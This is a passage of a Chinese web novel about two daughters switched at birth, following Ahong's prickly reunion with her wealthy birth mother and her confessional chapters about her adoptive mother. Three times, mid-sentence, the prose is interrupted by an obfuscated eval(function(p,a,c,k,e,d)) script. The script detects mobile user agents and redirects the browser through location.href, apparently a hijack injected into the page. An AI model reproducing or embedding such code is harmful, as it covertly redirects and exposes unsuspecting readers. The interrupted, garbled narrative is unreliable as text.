沙发弹簧已经老化,坐感不佳,但是整齐铺着米白盖巾,散发着淡淡的洗衣粉味道。靠枕花色各异,上面有几处突兀的毛线绣花,仔细一看,绣花竟然是为了遮掩破洞。 华英端着一壶凉茶过来,放在茶几上,一边往玻璃杯里倒,一边羞涩道:“是我自己煮的,都是好材料,你放心喝。” 她又回到了低着头、不敢看人的习惯动作里。 林女士喝了一口,点头:“确实是好材料。” 华英惊喜抬头,又立刻有些不好意思地低下头去。 林女士:…… 面前这个女人,虽然年华老去,还身带残疾,眼珠子诡异的动来动去。 但是抛开这一切,她那种文静、温柔、略带些羞怯的气质,怎么会这么眼熟? 怎么会这么像她的文文? 从小到大,无数人跟她调笑:你这么个倔驴一样的人,怎么会生出这样乖巧贴心的女儿? 她自己也笑,还好女儿性格不像自己,不然家里天天要干仗。 倔驴一样的人是谁呢? 林女士转头,视线越过开裂的木门,看着卧室角落里那个默不出声,蹲在地上用力打包的人。 倔驴一样的人,在这儿呢。 林女士放下玻璃杯,发出命令:“你过来,和我说会儿话。” 房间里,王阿红动作一顿,但一点起身的意思都没有。 她顺手捞起一堆不知道是什么的东西,狠狠往编织袋里塞。 华英惶恐道:“阿红,快过来啊,这是你亲生的妈妈啊!” 王阿红再次顿住。 “什么妈妈,我可高攀不起。” 她没有回头,只是冷冷丢下一句,便继续打包起来。 ……倔驴。 林女士提高声音:“你躲在那里是怕我吗?” 王阿红猛地站起身,看向这边,眉毛竖起来:“谁怕你了?” 她站在原地喘了好几下,慢慢挪了过来。 客厅里一时安静下来。 华英感到尴尬,想说些什么活跃气氛,却又嘴笨得很,不知道说什么好。 林女士指指王阿红的手腕:“怎么弄的?” 那里有一条长长的、狰狞的疤。 王阿红低头看了一眼,随意道:“在后厨烫的。” 她哼了一声:“在后厨干活,就没有不被烫到的。” 沙发另一边,华英嘴角下撇,声音也带上哽咽:“都怪我没用,阿红跟着我真的吃了太多苦。” 她偷偷瞥着林女士,眼珠子诡异地动来动去。 王阿红生气大喊:“你看她干什么!” 华英缩起肩膀,不说话了。 林女士:“你们家,妈妈和女儿好像是反过来的。” 王阿红不耐烦道:“是啊,我们家是我做主。你有什么意见吗?” 林女士:“你不想认我,我可以接受。但是你有没有问过你妈妈,她想不想认她的亲生女儿呢?” 王阿红猛地站起来,塑料椅子被她怼得翻过去。 “哈?亲生女儿?你说谁?你那个宝贝女儿苏文?你是没看见她那天的表现吗?” 她转头看着华英,眉毛倒竖:“你看见了吧!你看见她的表现了吧!” “那位大小姐根本都不敢看你!” 她连声大笑:“你指望她认你?把你当亲妈?不如指望母猪上树!” 华英羞愧捂住脸。 王阿红见妈妈这样,也噤了声,脸上一阵红一阵白。 林女士也憋着气。 文文确实表现不好。 是自己太过宠溺,没有教会女儿责任感。 一时间,她只觉得自己的脸皮也被王阿红扔在地上踩。 林女士尽量平静:“所以,这就是你当初不想找我们的理由?你不想让你妈妈受亲生女儿的嫌弃?” 王阿红瞪着眼:“不行吗?我想的不对吗?本来就是这样吧?” 她冷笑连连:“我对苏文其实没什么意见。本来就是陌生人,嫌弃也是正常反应。” 她昂着下巴,双手抱胸:“我自己的妈妈,我自己养。” 我自己的妈妈。 林女士听着这几个字,心里一阵憋闷。 她一时气道:“自己养?用的却是我的钱呢。” 王阿红颤抖了一下,眼睛变得血红。 林女士清醒过来,满心懊悔。 我疯了吗?哪壶不开提哪壶。 她咬了咬嘴唇,突然想起那位女调查员的话。 于是决定依样画葫芦。 “阿红。” “我可以这样叫你吗?” 王阿红不置可否。 林女士:“对不起,我说了难听的话。其实我心里不是这么想的。” “你也是这样对吗?你虽然说了这些话,但心里不是这么想的,对吗?” 王阿红冷笑:“你又知道了。” 林女士:“我不知道。” “我特意过来,就是想要了解你。” 王阿红愣住。 * 银灰色奔驰行驶在葱郁的初夏时节中。 宋流星不自觉地哼着一支小曲。 仲光华:“你在哼什么?” 宋流星:“啊,你不知道这个歌吗?很有名的!等一下,我配上歌词,你应该就知道了。” 她快乐地唱起来:“蘑菇蘑菇~嗯嗯嗯嗯嗯嗯~蘑菇蘑菇~嗯嗯嗯嗯嗯嗯~变成一碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444763|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤!” 仲光华:“你这也没有很多歌词啊。” 宋流星哈哈笑道:“不好意思哦~但是你真的没听过吗?这首歌好红,到处都是。” 仲光华:“你很高兴?” 宋流星:“是啊。” 她笑眯眯:“我有预感,王阿红和林女士能好好相处。虽然不太好说,但是我能感觉出来,她们有些地方很像。” 她看了一眼副驾驶,满脸欣慰。 “我挺意外的,原来你并不是那种顽固的人——” “我见过太多人,明知道自己错了,却为了面子或者别的什么原因,死也不肯承认。” “你愿意承认对王阿红有偏见,愿意整理思路,另找角度来看待整件事,这真的很——” “呵。”仲光华冷笑出声,打断了对方的赞美。 宋流星:? 仲光华梗着脖子,看着窗外。 “所以,当我认为王阿红和hei社会有关的时候,你明明不赞同,却什么也不说。你就冷眼看着我在错误的思路上飞奔。” “等我奔到头了,你就宣布要开除我。” 他的声音里满是悲愤:“你是一点也没犹豫,一点也不留情啊。” 宋流星:! 被对方这么一说,她不禁感觉,自己是挺过分的。 她忍不住开口辩解:“我也没有故意不说吧,我说了王阿红应该不是那样的——” “别狡辩了!” 仲光华终于忍不住回头,眼神狠狠锁住宋流星,大声控诉: “你根本没打算认真对待我!你根本就是等着我犯错,好趁机甩掉我!” 宋流星张口结舌。 这家伙,太敏锐了吧。 她以为自己理直气壮。 这个家伙不请自来,工作理念也跟我不合,我甩掉他不是天经地义? 没想到,真到了这个时刻,没来由的愧疚竟然一下子淹没了她的心。 我是不是真的有点过分? 不管怎么说,这段时间他工作还是挺卖力的—— 宋流星脑子飞速运转,想找点话来安慰一番,却听见右手边传来沮丧的声音: “我是诚心诚意来你这儿的。你怎么能这样对我?” 仲光华是真的委屈得要命。 他是南洋仲家的少爷,诺大家族唯一的继承人。从小呼风唤雨,众星捧月,几时讨好过别人? 他都屈尊降贵了,曲意逢迎了,忍着高温酷暑蚊虫叮咬日日陪伴了,可是宋流星不但不给他好脸,甚至还暗中计划着赶他走。 和想象的完全不一样。 阿芳根本不在意他。 和过去差别太大了。 仲光华感觉心里好像破了一个洞。 宋流星转头看了副驾驶一眼。 大个子的年轻男人肩膀耷拉着,眼神巴巴朝着这边,长长眼尾垂下来,看起来非常可怜。 心脏狠狠一颤。 这样的眼神,这样的感觉,竟然唤醒了一缕遥远的记忆。 曾经何时,有那样一个小少年,皮肤雪白,身姿单薄,无力地躺在病床上,恹恹看着窗外。 然后,他转过脸来望着自己—— 中间隔了太长的时间,她已经记不清少年的具体容貌。 可是她记得四目交接的瞬间,在胸中爆开的那种感觉。 心碎的感觉。 恨不得以身代之。 如果能让小少爷好起来,她愿意做任何事。 曾几何时,她对一个人付出了全部真心。 即使他根本不需要。 24. 自白书-前篇 简而言之,事情是这样: 你的生母是杰出女商人,性格豪爽,能力非凡,全心全意期待着你的出生。 可是因为医院失误,你流落到了养母家里。 养母是买来的媳妇,在穷人家里做牛做马。而你因为是女孩,被养父当作垃圾。 但即使如此,你的养母也竭尽所能给你庇护,给了你所有的爱。 她没有太大能力,但你是她的心肝。 然后,真相爆开。 你站在了人生的岔路口。 * 很小的时候,你的日子其实很快乐。 你的家,是一间肠粉店。 确切的说,一楼是肠粉店,二楼是家。 你家左边是烧腊店,右边是牛杂店。 一整条街,都是差不多的家庭小店。 街头到街尾,大大小小的孩子差不多有十来个。 父母忙于开店,孩子们无人看管,天天在街上疯玩。 你在电视里见过有钱人,见过他们的别墅豪车,酒醉金迷。 但是你从未觉得那些东西和你有什么关系。 你也从未想过自己是穷人。 你每天乖乖上学,放学后疯玩。 那时候,你是一个无忧无虑的小孩。 * 当然,你的生活也算不上完美。 其中最大的缺憾,是你的爸爸。 他看什么都不顺眼。 从起床那一刻开始,他一直骂骂咧咧。 嫌桌子上有灰,嫌妈妈特意端上来的早饭不好吃,嫌你木头木脑不讨他欢心。 然后他出门晃荡,直到深夜才回来。 看着他出门,你会大松一口气。 你最大的希望,就是他能一直待在外面,永远不要回来。 有一天,你在街上偶然遇见爸爸。 他和一个女人走在一起,手挽着手,身体贴着,十分亲热。 那个女人穿着一件豹纹紧身吊带裙。 你不知出于什么心理,偷偷跟踪起来。 他们两个停在一家药店门口。 爸爸进去了,豹纹裙站在门口等着。 你想了想,穿过马路,走到豹纹裙身后,戳戳她的小臂。 你抬起头,说,那是我爸爸。 豹纹裙吓了一跳,一下子手足无措。 她搓搓手,讪讪道,哎呀,别误会,我们之间没什么的,就是,呃,就是朋友而已。 你仰着头,问豹纹裙:你不觉得他这个人很讨厌吗?他从来不好好说话,一开口就骂人。 豹纹裙瞪大眼睛,然后咯咯笑起来:你这个小鬼,好有意思啊。 笑完,她叹气,说,都一样啦。男人都是这么讨厌的。习惯就好啦。 * 不知从何时起,你爸爸和按摩女睡觉的流言传开了。 小学生对睡觉的含义一知半解,但这不妨碍他们挤眉弄眼在你面前一遍遍重复这句话。 你可不是好惹的。 有一天,你突然暴起,抓住那个领头的小男孩,把他推倒在地上,狠狠抽了他一个嘴巴子。 你被叫了家长。 妈妈匆匆赶到学校。 一进办公室,她就低头弯腰向对方道歉。 对方父母一点也不饶人,坚持要学校开除你这个暴力狂。 妈妈听了,吓坏了,流着泪,腰弯到对折,祈求对方的原谅。 你也有羞耻心的,你也不想重复那种话的。 可是你别无选择。 你冲出去,指着那个小男孩大叫,他说我爸爸和按摩女睡觉!他对每一个人说我爸爸和按摩女睡觉!他一遍又一遍对着我说我爸爸和按摩女睡觉! 在场每个人的脸都青了。 最终这件事不了了之。 可是你第一次对妈妈失望了。 妈妈太弱了。 妈妈为什么会这么弱? 你无法理解。 你渐渐长大,看到了更多事情。 每天早晨五点,天还是漆黑一片,妈妈就起床了。 一楼那间窄窄的店铺里,她会像陀螺一样,忙上一整天。 收来的钱,会放在一个铁皮饼干盒子里。 然后,那些钱,会被爸爸一把抓走。 你知道,那些钱会流向烟酒店,会流向按摩女。 而你的妈妈,依然穿着五年前那件廉价衬衫。 为什么? 为什么会这样? 为什么爸爸什么都不做,自动得到一切? 为什么妈妈呕心沥血,却什么都没有? 你去问妈妈。 她无奈笑笑,说,因为家里房子是爸爸的啊。 爸爸是这个家的主人,而妈妈……妈妈是光身子嫁进来的。这样的她,一辈子都抬不起头来。 你想了想,点头说,明白了。 爸爸是地主,妈妈是长工。长工拼命干活,地主老爷躺着享受。 妈妈愣住,说,不是这样的。 过了一会,又叹气,说,也差不多吧。 你说,等以后我结婚了,我会成为另一个家里的长工。 妈妈惊呆了,说,不会的,不会的! 她说,我就是拼死拼活,也会给你攒出嫁妆来,绝不会让你走我的老路! 你看着妈妈,心想,你拿什么攒?明明钱都被爸爸拿走了啊? 你意识到,虽然她是妈妈,但她并不能为你遮风挡雨。 * 你渐渐发现,你的妈妈,是那样柔弱。 连你这样一个小孩,都能轻而易举向她发号施令。 那一天,你在新闻上看到,因为本年度气候特殊,可能迎来有史以来最大的鬼王潮,请各位观潮爱好者小心安全。 你鬼使神差动了心,缠着妈妈要去观潮。 妈妈一会儿说,太危险了,被潮水卷走怎么办? 一会儿又说,店里只有她一个人,无论如何也走不开。 总之就是不行。 但是你早就发现,妈妈是个柔弱的、容易受人左右的人。 于是你缠,死死纠缠。 不过几分钟,妈妈就叹气,说,好吧。 妈妈关掉店铺,带你搭上公交车,去看传说中的鬼王潮。 鬼王潮极其壮观。 事实是,置身其中,你几乎吓尿。 观潮点很高,但是潮水的余韵足够扫过。 你全身湿淋淋,紧紧抱着妈妈的腰,心脏猛跳,哇哇大哭。 妈妈双手抱着你,温柔哄你,可是哄着哄着,却噗嗤一下笑了。 她笑得上气不接下气,说,平时看着多了不起的一个人呢,结果是个胆小鬼呀。 你气坏了。 又气又委屈,嗷嗷大叫:我都吓死了!你还笑! 妈妈用更大的笑声回应你。 回家的公交车上,妈妈一直拉着你的手,用一种极其满足的语调说,今天虽然少赚了钱,但是好开心啊。 她看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457713|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,眼睛里满是骄傲,说,我女儿真是主意多多。怎么就想到来看潮的?要不是我女儿,我一辈子都想不起来看什么潮。 你一下子害羞了。 你挺起小胸脯,说,我还有好多好多主意呢!以后你就跟着我混吧! 妈妈哈哈大笑,说,好啊好啊,以后我就跟着你混了。 * 关系的逆转,大概是从那一天开始的。 拆迁的消息传来,你爸爸立刻心思活络,计划着将你们这对木头木脑不讨人喜欢的母女扫地出门。 妈妈的天都塌了。 她躲在房间里,默默哭泣,不肯出门。 而你,小小孩童,豁出去一切,跑去爸爸的大伯家,在门口躺下,满地打滚,号啕大哭,控诉爸爸的绝情。 八条街的人都过来看热闹。 最后,在伯爷爷的主持下,你爸爸被迫从拆迁款中分出一小部分给你们母女。 你们拿着那笔钱,去了四十公里以外的大城市。 从此相依为命。 从那一天开始,你们的关系逆转了。 她是妈妈,你是女儿。 可是她那么柔弱。 你想要保护她,带着她过上好日子。 你想成为她的妈妈。 * 苏文找上门来的那一刻,你一点也不惊讶。 两年前,妈妈突然发了奇怪的病。 她开始频繁摔跤,眼珠子也会奇怪地滑来滑去。 去医院做完检查之后,医生建议,身为女儿的你,也去做一个基因测序。 那个时候你们就知道了。 你们两个人,没有血缘关系。 妈妈说要去医院查档,帮你找出亲生父母。 她一边回忆,一边絮絮叨叨。 那年夏天连续暴雨,县城医院门口的路被淹了,好多人临时转院去了别的医院。那一天生产的,只有提前过来住院的几个人。 妈妈和隔壁床很聊得来,几乎成了朋友。 两个人一前一后生产,生的都是女孩。 应该就是这两个女孩被抱错了。 妈妈说着说着,陷入自卑漩涡。 她说,隔壁床是个女老板,很阔气,很豪爽,和丈夫也很恩爱。 真是哪哪都好。 可怜的孩子,怎么就被抱错了呢。 如果是那个女老板,一定能给你更好的生活吧。 听见这种话,你很生气。 你大声质问:什么意思?我们现在的生活很差吗? 妈妈急了,连声说,不是的,不是的。 你哭了,你说,你们两个人一辈子相依为命,怎么会不是母女? 拿到天王老子面前去说,你们也是母女。 泪眼朦胧中,你看到妈妈松了一口气。 原来她也舍不得你。 妈妈总说你主意多。 苏小姐找上门来的那一刻,你突然想到了一个绝妙的主意。 你们母女两,一个患了病没法工作,一个在快餐店里当服务员。 你们真的很穷。 妈妈的病要看医生,要吃药,要加强营养,要静养。 到处都需要钱。 而你面前这位苏小姐,她看起来实在是很有钱。 你曾经靠着豁出去,从爸爸那里榨出过一笔钱。 你看着苏小姐,心里盘算着,这次也可以的。 你可以故技重施,从这个单纯的大小姐手里,榨出一笔钱来。 25. 【自白书】下 你威胁了那位大小姐。 果然很容易。 她看起来慌张极了。 在你稍微引导之下,她看起来百分百动心,百分百会照你的话去做。 你本来没打算这么做的。 但是怎么说,你就是会突发奇想。 等待回音的时间里,你突然感受到一种好奇,于是你决定去偷窥她的生活。 那位大小姐还是有一点基本的防人之心。 她只说自己姓苏,没告诉你全名。 你有些嘲讽地笑起来。 太好懂了,大小姐。 这是害怕你知道了她的全名,循着线索找到她父母,越过她直接联系呢。 大小姐是真的很宝贝很爱惜自己的父母。 也就是说,她一定会付钱。 你愉快地笑了。 大小姐没有做过这种阴暗爬行的事情,不知道,她给出了最关键的信息:电话号码。 你打开手机,打开支付app,点击转账,在收款人一栏里输入那个电话号码。 于是,她的昵称和部分名字自动出现了:lily(**文) 所以,大小姐的名字是苏某文,或者苏文。 你打开所有社交app,用“lily+苏+文”排列组合,反复搜索,交叉对比。 事情比你想象的还要容易得多。 你很快找到了她的私人生活账号。 妈妈说,隔壁床是个有钱的女人。 那个女人可不是普通有钱,她是超级有钱啊! 大小姐的生活好梦幻…… 大别墅,草坪,游泳池。 米其林餐厅,五星酒店。 成堆的奢侈品牌衣裙鞋包。 说走就走的旅行,南法消夏,瑞士滑雪。 原来这么梦幻、好像肥皂剧一样的生活,真的有人在过啊。 这种事情你当然从来都是知道的。 只是—— 那个梦幻的世界,好像第一次和你有了真实联系。 其实,这时候你还没有真实感。 你继续偷窥。 然后,你看到了大小姐的爸爸。 那是一个文质彬彬的人。 和女儿合影时,会微微偏头,目光落在女儿的侧颜。 是肉眼可见、几乎溢出画面的深情。 你从前有个同桌,叫做宝珠。 宝珠是个好孩子,和你玩得很好。 宝珠的爸爸经常来学校接她。 他白白胖胖的,穿得很整洁,站在校门口,不断往学校里面张望。 宝珠会大叫着扑向爸爸,然后被爸爸举起来,放在脖子上。 那一幕,仿佛梦幻泡影。 你不会承认,默默站在影子里看着的你,羡慕得有一点点恨了。 你看着手机屏幕上那张父女合影。 中年男子微微偏头,嘴角微微翘着,目光落在女儿的侧颜。 被爸爸那样看着,那样爱着,是一种什么体验? 你不知道,你想不出来。 然后,电光火石之间,你意识到: 照片里这个文质彬彬的中年男子,才是你的亲生父亲。 那个混账王大球,本不该和你有任何联系。 你被这个认知轰炸得回不过神来。 你头脑空白,全身麻木,继续偷窥。 滋味微妙得变得不同。 那些华美梦幻的画面,你不再觉得那是离自己很遥远、和自己无关的存在了。 你一直往前翻,看到几年前的帖子。 大小姐的20岁生日,她妈妈送了一套高层公寓作为礼物。 大小姐写道:妈妈说,20岁的人应该有自己的房子。 20岁的人应该有自己的房子? 你坐在廉价出租屋的廉价铁架床上笑出声。 你甚至从来不敢奢望,这辈子能拥有自己的房子。 头脑空白。 一片空白。 而无尽的空白之中,逐渐出现一个声音: 这些是你的。这些本来都是你的。 可是被人偷走了。 全被人偷走了!!! 心底冒出一股邪火,在胸膛里烈烈燃烧。 你以为你不眼红。 你错了。 错得离谱。 真正看到了,你才知道,你眼红。 你眼红得快要疯了。 你想要食言,亲口说过的话全都当屁放了。 你想立刻去和亲生父母相认。 你想拿回原本属于你的一切。 你想要…… 现在就要…… 一刻都等不了! 就在这时,廉价的门板传来咚咚声。 是妈妈。 她捧着一个小砂锅进来,放在你桌上,一脸邀功的喜气:我早晨去菜市产,看到有新鲜牛尾,就赶紧买了。我用小火炖了一天了,味道好得很呢。 你尝了一口,正是你喜欢的味道。 你们家从来不买什么高级食材,可是在味道一途,妈妈从来没凑合过。 那一瞬间,你好像做坏事被抓了现行。 你喝着牛尾汤,偷偷看妈妈。 她一身寒酸,容颜苍老,眼珠子不受控制,滑稽地动来动去。 一股酸涩味道直冲到嗓子眼。 如果你去投奔有钱父母,妈妈怎么办。 那个娇气的大小姐,会愿意接手这样一个妈妈吗? 答案很明显。 不会的,她不会想要的。 大小姐的心事都写在脸上了,她只想要她那个强大的富豪妈妈。 你向来都知道的。 妈妈很柔弱。 这样的妈妈,离了你的保护,可怎么活得下去啊。 想到妈妈孤苦无依的样子,你的心碎成了一百万片。 不,等一下。 其实完全有折衷的办法。 你大可以投奔亲生父母,然后继续照顾妈妈。 有了亲生父母的钱,照顾妈妈岂非轻而易举? 对,太对了,这才是最明智、最经济实用的做法。 你突然兴奋起来,仿佛看到美好生活在前方向你招手。 梦幻泡影飘摇了几秒钟,噗!突然又破灭了。 一旦成为别人的女儿,你能留给妈妈的还有什么? 钱? 可是,妈妈需要的是钱吗? 她这一生,早已习惯于一毛钱掰成两半花。 会不会有朝一日,她咽气之后,你去收拾遗物,却发现她把那些两毛三毛的钱全攒起来,全部留给了你? 想到这里,你几乎窒息。 你早知道的。 她天生就是个没用的人,一辈子都是个没用的人。 你改变不了她,只能把她放在身边。盯着她,照顾她。 你没有其他办法。 她的爱,早已把你绑住。 死死绑住。 * 榨取一笔钱的计划,意外失败了。 你被扭住双手,脸在肮脏的地上压扁。 你的丑态全落入亲生母亲的眼中。 她满眼厌恶,冲着你大喊: 你这是勒索!我们可以报警的你知道吗? 你知道勒索的刑事立案标准是多少钱吗? 这个金额够你坐十年牢的了! 多好笑啊,你甚至还想着投奔她,从她手里抠钱呢。 你真是想得美。 你在阴沟里待得太久,早已成了不折不扣的癞蛤蟆。 清醒一点吧王阿红! 你就是一只癞蛤蟆! * 接下来的时间,你好像罩在一层厚厚的壳子里。 你的理智仍然在运行。 你意识到,你敲诈的那笔钱,并没有完全泡汤。 你还是可以拿到的。 那一家子有钱人,应该愿意用这一笔钱买断你们的关系,从此和你撇清。 你罩在一层厚厚的壳子里。 你的理智仍然在运行。 只是情感全部冻结了。 你像一具尸体一样,沉默规划着远距离搬家的大小事宜。 为什么那位林女士又回头来找你?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473182|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 甚至装出一副慈母的样子。 你想着,你做的那些好事,林女士不是都见过了吗? 现在这又是哪出? 难道是血缘上头? 天啊,血缘原来这么厉害的吗? 血缘里的呼唤,甚至盖过了癞蛤蟆的恶心? 你不觉得欣喜,甚至有点想笑。 但也不是特别想笑。 你被罩在壳子里,只感到一种闷闷的、令人窒息的酸涩味道。 让你壳子裂开、当场崩溃的,是无意撞见的、妈妈和大小姐一起的画面。 她们两个人,坐在你家楼下简陋的甜水店里,面对面坐着,默默吃着东西。 你心想,是大小姐主动过来的吗? 呵呵,她倒是比你想的有良心一点。 妈妈看起来很高兴。 当然高兴了,那可是她的亲生女儿。 你站在街对面,默默看着那一副母慈子孝的画面。 这时候,天空竟然下起了雨。 太好笑了。 难道在你不知道的维度,你竟然是世界的女主角吗? 连天气都会呼应你的心情。 雨越下越大。 很快把你淋透。 妈妈终于舍得把眼神从她女儿身上挪开,往店外看了一眼。 她看到了你。 你转身就跑。 妈妈追了上来。 你一定是故意跑得慢了。 不然,妈妈一个生病的人,怎么会轻易追上你? 想到这一点,你羞耻得想爆炸。 妈妈从后面拉住你,惊慌失措,声音发抖,喊着你的名字,叫你不要误会。 她说,她再也不会和文文,啊,不是,苏小姐,再也不会见面了。 她说,我们宝贝不要生气。 你冷笑着甩开她的手,继续往前走。 一辆电瓶车从斜刺里冲出来,直直冲向你。 妈妈惊叫出声,从后面猛扯你的背包。 你和电瓶车擦身而过。 妈妈张开双臂抱住你,抱得紧紧的,嘴里语无伦次,声音颤抖得厉害。 你没听见她说什么,你只知道,你被妈妈抱着。 多么熟悉的怀抱。 你一生颠沛。 明明是孩子,却被迫肩起妈妈的责任。 你总觉得自己很累。 不是的。 不是的。 是你太自大了。 你竟然忘了,多少次,无数次,你受到挫折、感到害怕,都是躲在这个怀抱里吸取能量。 多少次,无数次,你在这个怀抱里嚎啕大哭。 哭完了,又是一条好汉。 你顶着两个肿泡眼,紧紧攥着妈妈的衬衫衣摆,慢慢往回走。 妈妈看你恢复正常,又开始不正经了。 她嘻嘻笑:我们宝贝就是爱面子。 你是不是好担心别人以为你爱钱?所以你才总是对林女士没个好脸色。 哎呀,不用这样的啦。 我知道的,我们宝贝才不是那种人,我们宝贝最重感情了。 林女士也会知道的。 你破涕为笑。 你说,妈妈你在说什么胡话呢?你女儿可以说是这世界上最爱钱的人了。 你和妈妈笑成一团。 然后,你主动联系了林女士。 她是你的亲生母亲,她也是成功人士,是大富豪。 你憧憬她,渴望她,这是事实,没什么好羞耻的。 你被偷走了人生是真的。 那些贫贱,那些鄙视,那些伤害,都是真的。 可是,即使在污泥中,那些爱是真的,快乐也是真的。 你永远记得那天和妈妈一起看的鬼王潮。 你的回忆里,有那么多闪耀的宝石。 想不通的事,暂时不要去想好了。 那些解决不了的愤怒,暂且悬置好了。 先挺起胸,堂堂正正活下去好了。 你总会长大,会经历更多,会变得更聪明。 总有一天,你会找到答案。